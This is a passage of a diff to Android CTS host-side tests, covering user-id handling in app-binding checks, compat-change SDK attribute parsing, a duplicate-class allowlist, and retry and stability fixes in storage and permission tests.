-                    "^conn,\\[Default\\sSMS\\sapp\\],0,.*,not-bound,not-connected"
+                    "^conn,\\[Default\\sSMS\\sapp\\]," + mCurrentUserId + ",.*,not-bound,not-connected"
                     + ",\\#con=2,\\#dis=2,\\#died=1,backoff=10000");
         });
 
@@ -671,7 +675,7 @@
         // It should re-bind.
         runWithRetries(10, () -> {
             runCommand("dumpsys app_binding -s",
-                    "^conn,\\[Default\\sSMS\\sapp\\],0,.*,bound,connected"
+                    "^conn,\\[Default\\sSMS\\sapp\\]," + mCurrentUserId + ",.*,bound,connected"
                             + ",\\#con=3,\\#dis=2,\\#died=1,backoff=10000");
         });
 
@@ -680,7 +684,7 @@
 
         runWithRetries(10, () -> {
             runCommand("dumpsys app_binding -s",
-                    "^conn,\\[Default\\sSMS\\sapp\\],0,.*,not-bound,not-connected"
+                    "^conn,\\[Default\\sSMS\\sapp\\]," + mCurrentUserId + ",.*,not-bound,not-connected"
                             + ",\\#con=3,\\#dis=3,\\#died=2,backoff=20000");
         });
 
@@ -688,7 +692,7 @@
 
         runWithRetries(10, () -> {
             runCommand("dumpsys app_binding -s",
-                    "^conn,\\[Default\\sSMS\\sapp\\],0,.*,bound,connected"
+                    "^conn,\\[Default\\sSMS\\sapp\\]," + mCurrentUserId + ",.*,bound,connected"
                             + ",\\#con=4,\\#dis=3,\\#died=2,backoff=20000");
         });
 
@@ -698,7 +702,7 @@
 
         runWithRetries(10, () -> {
             runCommand("dumpsys app_binding -s",
-                    "^conn,\\[Default\\sSMS\\sapp\\],0,.*,bound,connected"
+                    "^conn,\\[Default\\sSMS\\sapp\\]," + mCurrentUserId + ",.*,bound,connected"
                             + ",\\#con=4,\\#dis=3,\\#died=2,backoff=5000");
         });
     }
@@ -713,18 +717,18 @@
             return;
         }
 
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
 
         updateConstants("sms_service_enabled=false");
 
         runWithRetries(DEFAULT_TIMEOUT_SEC, () -> {
-            checkNotBoundWithError("null", USER_SYSTEM, "feature disabled");
+            checkNotBoundWithError("null", mCurrentUserId, "feature disabled");
         });
 
         updateConstants("sms_service_enabled=true");
 
         runWithRetries(DEFAULT_TIMEOUT_SEC, () -> {
-            checkBound(PACKAGE_A, SERVICE_1, USER_SYSTEM);
+            checkBound(PACKAGE_A, SERVICE_1, mCurrentUserId);
         });
     }
 
@@ -735,7 +739,7 @@
             return;
         }
 
-        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, USER_SYSTEM);
+        installAndCheckBound(APK_1, PACKAGE_A, SERVICE_1, mCurrentUserId);
         assertOomAdjustment(PACKAGE_A, PACKAGE_A_PROC, 200);
     }
 }
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 8088411..f8f4ccd 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -43,23 +43,23 @@
     private static class Change {
         private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
                                                 + "(; name=(?<changeName>[^;]+))?"
-                                                + "(; enableAfterTargetSdk=(?<targetSdk>[0-9]+))?"
+                                                + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
                                                 + "(; (?<disabled>disabled))?"
                                                 + "(; (?<loggingOnly>loggingOnly))?"
                                                 + "(; packageOverrides=(?<overrides>[^\\)]+))?"
                                                 + "\\)");
         long changeId;
         String changeName;
-        int targetSdk;
+        int sinceSdk;
         boolean disabled;
         boolean loggingOnly;
         boolean hasOverrides;
 
-        private Change(long changeId, String changeName, int targetSdk, boolean disabled,
-                boolean loggingOnly, boolean hasOverrides) {
+        private Change(long changeId, String changeName, int sinceSdk,
+                boolean disabled, boolean loggingOnly, boolean hasOverrides) {
             this.changeId = changeId;
             this.changeName = changeName;
-            this.targetSdk = targetSdk;
+            this.sinceSdk = sinceSdk;
             this.disabled = disabled;
             this.loggingOnly = loggingOnly;
             this.hasOverrides = hasOverrides;
@@ -68,7 +68,7 @@
         static Change fromString(String line) {
             long changeId = 0;
             String changeName;
-            int targetSdk = 0;
+            int sinceSdk = -1;
             boolean disabled = false;
             boolean loggingOnly = false;
             boolean hasOverrides = false;
@@ -84,12 +84,12 @@
                 throw new RuntimeException("No or invalid changeId!", e);
             }
             changeName = matcher.group("changeName");
-            String targetSdkAsString = matcher.group("targetSdk");
-            if (targetSdkAsString != null) {
+            String sinceSdkAsString = matcher.group("sinceSdk");
+            if (sinceSdkAsString != null) {
                 try {
-                    targetSdk = Integer.parseInt(targetSdkAsString);
+                    sinceSdk = Integer.parseInt(sinceSdkAsString);
                 } catch (NumberFormatException e) {
-                    throw new RuntimeException("Invalid targetSdk for change!", e);
+                    throw new RuntimeException("Invalid sinceSdk for change!", e);
                 }
             }
             if (matcher.group("disabled") != null) {
@@ -101,16 +101,24 @@
             if (matcher.group("overrides") != null) {
                 hasOverrides = true;
             }
-            return new Change(changeId, changeName, targetSdk, disabled, loggingOnly, hasOverrides);
+            return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
         }
 
         static Change fromNode(Node node) {
             Element element = (Element) node;
             long changeId = Long.parseLong(element.getAttribute("id"));
             String changeName = element.getAttribute("name");
-            int targetSdk = 0;
+            int sinceSdk = -1;
+            if (element.hasAttribute("enableAfterTargetSdk")
+                && element.hasAttribute("enableSinceTargetSdk")) {
+                    throw new IllegalArgumentException("Invalid change node!"
+                    + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
+            }
             if (element.hasAttribute("enableAfterTargetSdk")) {
-                targetSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk"));
+                sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
+            }
+            if (element.hasAttribute("enableSinceTargetSdk")) {
+                sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
             }
             boolean disabled = false;
             if (element.hasAttribute("disabled")) {
@@ -121,11 +129,11 @@
                 loggingOnly = true;
             }
             boolean hasOverrides = false;
-            return new Change(changeId, changeName, targetSdk, disabled, loggingOnly, hasOverrides);
+            return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
         }
         @Override
         public int hashCode() {
-            return Objects.hash(changeId, changeName, targetSdk, disabled, hasOverrides);
+            return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
         }
         @Override
         public boolean equals(Object other) {
@@ -138,7 +146,7 @@
             Change that = (Change) other;
             return this.changeId == that.changeId
                 && Objects.equals(this.changeName, that.changeName)
-                && this.targetSdk == that.targetSdk
+                && this.sinceSdk == that.sinceSdk
                 && this.disabled == that.disabled
                 && this.loggingOnly == that.loggingOnly
                 && this.hasOverrides == that.hasOverrides;
@@ -150,8 +158,8 @@
             if (changeName != null && !changeName.isEmpty()) {
                 sb.append("; name=" + changeName);
             }
-            if (targetSdk != 0) {
-                sb.append("; enableAfterTargetSdk=" + targetSdk);
+            if (sinceSdk != 0) {
+                sb.append("; enableSinceTargetSdk=" + sinceSdk);
             }
             if (disabled) {
                 sb.append("; disabled");
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index 9f984d6..e73f31a 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -19,11 +19,13 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 import static org.junit.Assume.assumeTrue;
+import static java.util.stream.Collectors.toSet;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -39,16 +41,18 @@
 import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Map;
 import java.util.Map.Entry;
 import java.util.Objects;
 import java.util.Set;
-import java.util.stream.Collectors;
 
 import org.jf.dexlib2.DexFileFactory;
 import org.jf.dexlib2.Opcodes;
+import org.jf.dexlib2.dexbacked.DexBackedDexFile;
 import org.jf.dexlib2.iface.DexFile;
 import org.jf.dexlib2.iface.ClassDef;
+import org.jf.dexlib2.iface.MultiDexContainer;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -125,7 +129,86 @@
             "Landroid/hardware/contexthub/V1_0/PhysicalSensor;",
             "Landroid/hardware/contexthub/V1_0/Result;",
             "Landroid/hardware/contexthub/V1_0/SensorType;",
-            "Landroid/hardware/contexthub/V1_0/TransactionResult;"
+            "Landroid/hardware/contexthub/V1_0/TransactionResult;",
+            "Landroid/hardware/usb/gadget/V1_0/GadgetFunction;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadget$Stub;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_0/IUsbGadgetCallback$Stub;",
+            "Landroid/hardware/usb/gadget/V1_0/Status;",
+            "Landroid/os/IDumpstate;",
+            "Landroid/os/IDumpstate$Default;",
+            "Landroid/os/IDumpstate$Stub;",
+            "Landroid/os/IDumpstate$Stub$Proxy;",
+            "Landroid/os/IDumpstateListener;",
+            "Landroid/os/IDumpstateListener$Default;",
+            "Landroid/os/IDumpstateListener$Stub;",
+            "Landroid/os/IDumpstateListener$Stub$Proxy;",
+            "Landroid/os/IInstalld;",
+            "Landroid/os/IInstalld$Default;",
+            "Landroid/os/IInstalld$Stub;",
+            "Landroid/os/IInstalld$Stub$Proxy;",
+            "Landroid/os/IStoraged;",
+            "Landroid/os/IStoraged$Default;",
+            "Landroid/os/IStoraged$Stub;",
+            "Landroid/os/IStoraged$Stub$Proxy;",
+            "Landroid/os/IVold;",
+            "Landroid/os/IVold$Default;",
+            "Landroid/os/IVold$Stub;",
+            "Landroid/os/IVold$Stub$Proxy;",
+            "Landroid/os/IVoldListener;",
+            "Landroid/os/IVoldListener$Default;",
+            "Landroid/os/IVoldListener$Stub;",
+            "Landroid/os/IVoldListener$Stub$Proxy;",
+            "Landroid/os/IVoldMountCallback;",
+            "Landroid/os/IVoldMountCallback$Default;",
+            "Landroid/os/IVoldMountCallback$Stub;",
+            "Landroid/os/IVoldMountCallback$Stub$Proxy;",
+            "Landroid/os/IVoldTaskListener;",
+            "Landroid/os/IVoldTaskListener$Default;",
+            "Landroid/os/IVoldTaskListener$Stub;",
+            "Landroid/os/IVoldTaskListener$Stub$Proxy;",
+            "Landroid/os/storage/CrateMetadata;",
+            "Landroid/os/storage/CrateMetadata$1;",
+            "Landroid/view/LayerMetadataKey;",
+            "Lcom/android/internal/annotations/GuardedBy;",
+            "Lcom/android/internal/annotations/Immutable;",
+            "Lcom/android/internal/annotations/VisibleForTesting;",
+            "Lcom/android/internal/annotations/VisibleForTesting$Visibility;",
+            // TODO(b/173649240): due to an oversight, some new overlaps slipped through in S.
+            "Landroid/hardware/usb/gadget/V1_1/IUsbGadget;",
+            "Landroid/hardware/usb/gadget/V1_1/IUsbGadget$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_1/IUsbGadget$Stub;",
+            "Landroid/hardware/usb/gadget/V1_2/GadgetFunction;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadget;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadget$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadget$Stub;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadgetCallback;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadgetCallback$Proxy;",
+            "Landroid/hardware/usb/gadget/V1_2/IUsbGadgetCallback$Stub;",
+            "Landroid/hardware/usb/gadget/V1_2/UsbSpeed;",
+            "Landroid/os/BlockUntrustedTouchesMode;",
+            "Landroid/os/CreateAppDataArgs;",
+            "Landroid/os/CreateAppDataArgs$1;",
+            "Landroid/os/CreateAppDataResult;",
+            "Landroid/os/CreateAppDataResult$1;",
+            "Landroid/os/IInputConstants;",
+            "Landroid/os/IInputConstants$Default;",
+            "Landroid/os/IInputConstants$Stub;",
+            "Landroid/os/IInputConstants$Stub$Proxy;",
+            "Landroid/os/InputEventInjectionResult;",
+            "Landroid/os/InputEventInjectionSync;",
+            "Landroid/os/TouchOcclusionMode;",
+            "Lcom/android/internal/protolog/common/BitmaskConversionException;",
+            "Lcom/android/internal/protolog/common/InvalidFormatStringException;",
+            "Lcom/android/internal/protolog/common/IProtoLogGroup;",
+            "Lcom/android/internal/protolog/common/LogDataType;",
+            "Lcom/android/internal/protolog/common/ProtoLog;",
+            "Lcom/android/internal/protolog/ProtoLogImpl;",
+            "Lcom/android/internal/protolog/ProtoLogViewerConfigReader;",
+            "Lcom/android/internal/util/FrameworkStatsLog;"
         );
 
     /**
@@ -136,7 +219,7 @@
         assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29));
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> bcpJarFiles = pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH");
-            checkClassDuplicatesMatchWhitelist(bcpJarFiles, ImmutableSet.of());
+            checkClassDuplicatesMatchAllowlist(bcpJarFiles, ImmutableSet.of());
         });
     }
 
@@ -149,7 +232,7 @@
         runWithTempDir(tmpDir -> {
             final Set<DeviceFile> sscpJarFiles =
                 pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH");
-            checkClassDuplicatesMatchWhitelist(sscpJarFiles, ImmutableSet.of());
+            checkClassDuplicatesMatchAllowlist(sscpJarFiles, ImmutableSet.of());
         });
     }
 
@@ -165,7 +248,7 @@
                 pullJarsFromEnvVariable(tmpDir, "BOOTCLASSPATH"),
                 pullJarsFromEnvVariable(tmpDir, "SYSTEMSERVERCLASSPATH")
             );
-            checkClassDuplicatesMatchWhitelist(allJarFiles, BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST);
+            checkClassDuplicatesMatchAllowlist(allJarFiles, BCP_AND_SSCP_OVERLAP_BURNDOWN_LIST);
         });
     }
 
@@ -239,14 +322,22 @@
         final Multimap<String, DeviceFile> allClasses = HashMultimap.create();
         final Multimap<String, DeviceFile> duplicateClasses = HashMultimap.create();
         for (DeviceFile deviceFile : jars) {
-            final DexFile dexFile =
-                    DexFileFactory.loadDexFile(deviceFile.hostPath, Opcodes.getDefault());
-            for (ClassDef classDef : dexFile.getClasses()) {
-                allClasses.put(classDef.getType(), deviceFile);
+            final File jarFile = new File(deviceFile.hostPath);
+            final MultiDexContainer<? extends DexBackedDexFile> container =
+                    DexFileFactory.loadDexContainer(jarFile, Opcodes.getDefault());
+            final List<String> entryNames = container.getDexEntryNames();
+            for (String entryName : entryNames) {
+                final DexFile dexFile = container.getEntry(entryName);
+                for (ClassDef classDef : dexFile.getClasses()) {
+                    allClasses.put(classDef.getType(), deviceFile);
+                }
             }
         }
         for (Entry<String, Collection<DeviceFile>> entry : allClasses.asMap().entrySet()) {
             if (entry.getValue().size() > 1) {
+                CLog.i("Class %s is duplicated in %s", entry.getKey(),
+                    entry.getValue().stream().map(x -> x.getJarName()).collect(toSet()));
+
                 duplicateClasses.putAll(entry.getKey(), entry.getValue());
             }
         }
@@ -254,13 +345,16 @@
     }
 
     /**
-     * Checks that the duplicate classes in a set of jars exactly match a given whitelist.
+     * Checks that the duplicate classes in a set of jars exactly match a given allowlist.
      */
-    private void checkClassDuplicatesMatchWhitelist(Set<DeviceFile> jars, Set<String> whitelist)
+    private void checkClassDuplicatesMatchAllowlist(Set<DeviceFile> jars, Set<String> allowlist)
             throws Exception {
         // Collect classes which appear in at least two distinct jar files.
-        Set<String> duplicateClasses = getDuplicateClasses(jars).keySet();
-        assertThat(duplicateClasses).isEqualTo(whitelist);
+        Multimap<String, DeviceFile> duplicateClasses = getDuplicateClasses(jars);
+        Set<String> deniedClasses = new HashSet<>();
+        deniedClasses.addAll(duplicateClasses.keySet());
+        deniedClasses.removeAll(allowlist);
+        assertThat(deniedClasses).isEmpty();
     }
 
     /**
@@ -291,7 +385,7 @@
     private Set<DeviceFile> pullJarsFromEnvVariable(File tmpDir, String variable) {
         return Arrays.asList(getEnvVariable(variable).split(":")).stream()
             .map(fileName -> pullFromDevice(fileName, tmpDir))
-            .collect(Collectors.toSet());
+            .collect(toSet());
     }
 
     private void runWithTempDir(TempDirRunnable runnable) throws Exception {
@@ -320,6 +414,10 @@
             this.hostPath = hostPath;
         }
 
+        public String getJarName() {
+            return devicePath.substring(devicePath.lastIndexOf('/') + 1);
+        }
+
         @Override
         public boolean equals(Object other) {
             if (this == other) {
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index cbfad62..927344a 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -21,7 +21,7 @@
 per-file ExternalStorageHostTest.java = jsharkey@google.com
 per-file InstantAppUserTest.java = toddke@google.com
 per-file InstantCookieHostTest.java = toddke@google.com
-per-file IsolatedSplitsTests.java = toddke@google.com
+per-file IsolatedSplitsTests.java = patb@google.com,toddke@google.com
 per-file KeySetHostTest.java = cbrubaker@google.com
 per-file ListeningPortsTest.java = cbrubaker@google.com
 per-file MajorVersionTest.java = toddke@google.com
@@ -35,7 +35,7 @@
 per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
 per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
 per-file SharedUserIdTest.java = toddke@google.com
-per-file SplitTests.java = toddke@google.com
+per-file SplitTests.java = patb@google.com,toddke@google.com
 per-file StorageHostTest.java = jsharkey@google.com
 per-file UseEmbeddedDexTest.java = victorhsieh@google.com
 # test apps
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index dd47dd6..fb4d9d0 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -431,12 +431,24 @@
     private LocalVolumeInfo getAdoptionVolume() throws Exception {
         String[] lines = null;
         int attempt = 0;
+        int mounted_count = 0;
         while (attempt++ < 15) {
             lines = getDevice().executeShellCommand("sm list-volumes private").split("\n");
+            CLog.w("getAdoptionVolume(): " + Arrays.toString(lines));
             for (String line : lines) {
                 final LocalVolumeInfo info = new LocalVolumeInfo(line.trim());
-                if (!"private".equals(info.volId) && "mounted".equals(info.state)) {
-                    return waitForVolumeReady(info);
+                if (!"private".equals(info.volId)) {
+                    if ("mounted".equals(info.state)) {
+                        // make sure the storage is mounted and stable for a while
+                        mounted_count++;
+                        attempt--;
+                        if (mounted_count >= 3) {
+                            return waitForVolumeReady(info);
+                        }
+                    }
+                    else {
+                        mounted_count = 0;
+                    }
                 }
             }
             Thread.sleep(1000);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
index 703c17f..e9ab634 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApexSignatureVerificationTest.java
@@ -190,11 +190,6 @@
         try {
             apexes = mDevice.getActiveApexes();
             for (ITestDevice.ApexInfo ap : apexes) {
-                // We can pull apexes from only /system and /data.
-                // TODO(b/170202980): get all apexes including built-in apexes.
-                if (!ap.sourceDir.startsWith("/system") && !ap.sourceDir.startsWith("/data")) {
-                    continue;
-                }
                 mPreloadedApexPathMap.put(ap.name, ap.sourceDir);
             }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
index 212986a..80f4c3f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApkVerityInstallTest.java
@@ -26,6 +26,7 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -64,6 +65,11 @@
                 || APK_VERITY_STANDARD_MODE.equals(apkVerityMode));
     }
 
+    @After
+    public void tearDown() throws DeviceNotAvailableException {
+        getDevice().uninstallPackage(PACKAGE_NAME);
+    }
+
     @CddTest(requirement="9.10/C-0-3")
     @Test
     public void testInstallBase() throws DeviceNotAvailableException, FileNotFoundException {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index a08a515..5c26531 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -135,6 +135,9 @@
             getDevice().uninstallPackage(WRITE_PKG);
             installPackage(WRITE_APK);
 
+            // Make sure user initialization is complete before testing
+            waitForBroadcastIdle();
+
             for (int user : mUsers) {
                 runDeviceTests(WRITE_PKG, WRITE_CLASS, "testExternalStorageRename", user);
             }
@@ -488,6 +491,8 @@
     private void doMediaSandboxed(Config config, boolean sandboxed) throws Exception {
         installPackage(config.apk);
         installPackage(MEDIA_29.apk);
+        // Make sure user initialization is complete before updating permission
+        waitForBroadcastIdle();
         for (int user : mUsers) {
             updatePermissions(config.pkg, user, new String[] {
                     PERM_READ_EXTERNAL_STORAGE,
@@ -749,6 +754,11 @@
         }
     }
 
+    /** Wait until all broadcast queues are idle. */
+    private void waitForBroadcastIdle() throws Exception{
+        getDevice().executeShellCommand("am wait-for-broadcast-idle");
+    }
+
     private void updateAppOp(String packageName, int userId, String appOp, boolean allow)
             throws Exception {
         updateAppOp(packageName, false, userId, appOp, allow);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
index ba62f2f..4972c68 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
@@ -30,11 +30,13 @@
 import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters
 import android.cts.host.utils.DeviceJUnit4Parameterized
 import com.google.common.truth.Truth.assertThat
+import com.google.common.truth.Truth.assertWithMessage
 import org.junit.After
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
 import org.junit.runners.Parameterized
+import java.lang.AssertionError
 
 /**
  * This test verifies protection for an exploit where any app could set the installer package
@@ -197,7 +199,9 @@
     }
 
     private fun assertPermission(granted: Boolean, permission: String) {
-        assertThat(getPermissionString(permission)).contains("granted=$granted")
+        val dump = device.executeShellCommand("dumpsys package $TARGET_PKG")
+        assertWithMessage(dump).that(getPermissionString(dump, permission))
+                .contains("granted=$granted")
     }
 
     private fun grantPermission(permission: String) {
@@ -209,40 +213,50 @@
     }
 
     private fun assertGrantState(state: GrantState, permission: String) {
-        val output = getPermissionString(permission)
+        val dump = device.executeShellCommand("dumpsys package $TARGET_PKG")
+        val output = getPermissionString(dump, permission)
 
         when (state) {
             GrantState.TRUE -> {
-                assertThat(output).contains("granted=true")
-                assertThat(output).doesNotContain("RESTRICTION")
-                assertThat(output).doesNotContain("EXEMPT")
+                assertWithMessage(dump).that(output).contains("granted=true")
+                assertWithMessage(dump).that(output).doesNotContain("RESTRICTION")
+                assertWithMessage(dump).that(output).doesNotContain("EXEMPT")
             }
             GrantState.TRUE_EXEMPT -> {
-                assertThat(output).contains("granted=true")
-                assertThat(output).contains("RESTRICTION_INSTALLER_EXEMPT")
+                assertWithMessage(dump).that(output).contains("granted=true")
+                assertWithMessage(dump).that(output).contains("RESTRICTION_INSTALLER_EXEMPT")
             }
             GrantState.TRUE_RESTRICTED -> {
-                assertThat(output).contains("granted=true")
-                assertThat(output).contains("APPLY_RESTRICTION")
-                assertThat(output).doesNotContain("EXEMPT")
+                assertWithMessage(dump).that(output).contains("granted=true")
+                assertWithMessage(dump).that(output).contains("APPLY_RESTRICTION")
+                assertWithMessage(dump).that(output).doesNotContain("EXEMPT")
             }
             GrantState.FALSE -> {
-                assertThat(output).contains("granted=false")
+                assertWithMessage(dump).that(output).contains("granted=false")
             }
         }
     }
 
-    private fun getPermissionString(permission: String) =
-            device.executeShellCommand("dumpsys package $TARGET_PKG")
-                    .lineSequence()
-                    .dropWhile { !it.startsWith("Packages:") } // Wait for package header
-                    .drop(1) // Drop the package header itself
-                    .takeWhile { it.isEmpty() || it.first().isWhitespace() } // Until next header
-                    .dropWhile { !it.trim().startsWith("User $mPrimaryUserId:") } // Find user
-                    .drop(1) // Drop the user header itself
-                    .takeWhile { !it.trim().startsWith("User") } // Until next user
-                    .filter { it.contains("$permission: granted=") }
-                    .single()
+    private fun getPermissionString(output: String, permission: String) = retry {
+        output.lineSequence()
+                .dropWhile { !it.startsWith("Packages:") } // Wait for package header
+                .drop(1) // Drop the package header itself
+                .takeWhile { it.isEmpty() || it.first().isWhitespace() } // Until next header
+                .dropWhile { !it.trim().startsWith("User $mPrimaryUserId:") } // Find user
+                .drop(1) // Drop the user header itself
+                .takeWhile { !it.trim().startsWith("User") } // Until next user
+                .filter { it.contains("$permission: granted=") }
+                .firstOrNull()
+    }
+
+    private fun <T> retry(block: () -> T?): T {
+        repeat(10) {
+            block()?.let { return it }
+            Thread.sleep(1000)
+        }
+
+        throw AssertionError("Never succeeded")
+    }
 
     enum class GrantState {
         // Granted in full, unrestricted
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index b00dcc3..38185ee 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -16,8 +16,8 @@
     name: "CtsAppDataIsolationAppA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -35,8 +35,8 @@
     name: "CtsAppDataIsolationAppSharedA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -54,8 +54,8 @@
     name: "CtsAppDataIsolationAppDirectBootA",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -73,8 +73,8 @@
     name: "CtsAppDataIsolationAppB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
@@ -92,8 +92,8 @@
     name: "CtsAppDataIsolationAppSharedB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
-    sdk_version: "current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
